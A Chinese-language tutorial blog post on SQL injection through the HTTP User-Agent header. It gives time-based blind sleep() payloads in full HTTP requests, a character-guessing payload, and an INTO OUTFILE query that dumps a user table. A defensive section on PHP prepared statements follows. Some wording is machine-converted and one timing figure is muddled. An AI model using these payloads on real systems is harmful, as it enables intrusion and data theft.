User-Agent手工注入攻擊及防禦(探測與利用分析)

A&&K發表於2020-12-19

一)前情提要:

我的一個宿舍友提及,他不能理解為什麼一個訪問主頁的簡單的 GET 請求會被 WAF 遮蔽,他被遮蔽的HTTP請求如下:

GET / HTTP/1.1
Host: www.example.com
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+' 
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6

二)問題分析:

這樣的HTTP請求頭是再普通不過了的,可能我們乍一看沒有覺得沒有什麼問題,但是其實如果再仔細點看就會發現這個HTTP請求頭中的 User-Agent 值包含了SQL語句,這其實是攻擊者試圖對 User-Agent 值進行 SQL 注入。

通常來說,我們的 SQL 注入是對 URL 及其引數進行的,但這裡攻擊者卻將 SQL 查詢語句隱藏在了 HTTP 頭部的 User-Agent 欄位之中,這種技術通常被各種掃描器所使用,例如,sqlmap 的 -p 引數會嘗試對 HTTP 請求頭部欄位進行注入。此攻擊屬於 SQL 時間盲注,一般的 SQL 注入會將查詢的結果返回到 WEB 頁面中(也就是返回給攻擊者),而盲注的攻擊者則看不到查詢的輸出,所以他們會另闢蹊徑使用其他的方式來判斷注入——使 WEB 伺服器產生錯誤或者產生延時:使用 sleep 會是 WEB 伺服器等待 20 秒才進行響應,攻擊者可以根據響應是否產生延時來判斷是否存在注入漏洞。

三)漏洞利用:

當我們通過使用burpsuite抓取資料包併傳送到repeater模組對User-Agent 欄位值進行修改,構造最基本的SQL語句 (select(sleep(5))))# 去確定網站是否存SQL隱碼攻擊漏洞,如果延時5秒才響應那麼就證明存在SQL隱碼攻擊:

GET / HTTP/1.1
Host: www.example.com
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)', (select(sleep(5))))#
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6


注:類似的有User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
伺服器將在255 * 5)秒後響應-與User-Agent:標頭的值相同,如果想讓伺服器立即響應。可以傳送
值sleep(5 * 5 * 0),它等於0

而當5秒延時過後該請求傳送,此時實際執行的SQL語句如下:

INSERT INTO log(ip,ua,visit_time) VALUES('127.0.0.1','Anka9080',(select(sleep(5))))#','2020-12-19 20:15:41')

猜資料,讀檔案:

User-Agent的值如下:

User-Agent: Anka9080',(select sleep(5) from user where substring(user,1,1)='a'))#

此時SQL語句是:

INSERT INTO log(ip,ua,visit_time) VALUES('127.0.0.1','Anka9080',(select sleep(5) from user where substring(user,1,1)='a'))#','2020-12-19 21:04:49')

把user 表的內容讀出來並寫入到伺服器檔案中:

INSERT INTO log(ip,ua,dt) VALUES('127.0.0.1','Anka9080',(select * from user into outfile '盤/絕對路徑/1.txt'))#','2020-12-19 21:30:04'

其他 HTTP Header 的注入與 User-Agent 的注入是一樣道理的。

四)防禦:

防禦SQL隱碼攻擊的方法之一就是進行預編譯(核心就是 prepare()函式),簡單可靠,不需要做任何的過濾,做到了資料和程式碼的分離的效果:

<?php
 
    $link = new mysqli('localhost', 'analytics_user', 'aSecurePassword', 'analytics_db');
 
    $stmt = $link->prepare("INSERT INTO visits (ua, dt) VALUES (?, ?)");
    $stmt->bind_param("ss", $_SERVER["HTTP_USER_AGENT"], date("Y-m-d h:i:s"));
    $stmt->execute();
 
?>

解析:先將 SQL 查詢語句使用 prepare 進行準備,隨後使用 bind_param 繫結兩個引數(User-Agent 和日期),最後才是使用 execute 執行查詢。bind_param 可以確保一些 SQL 特殊字元會先被進行轉義,隨後才被執行。

相關文章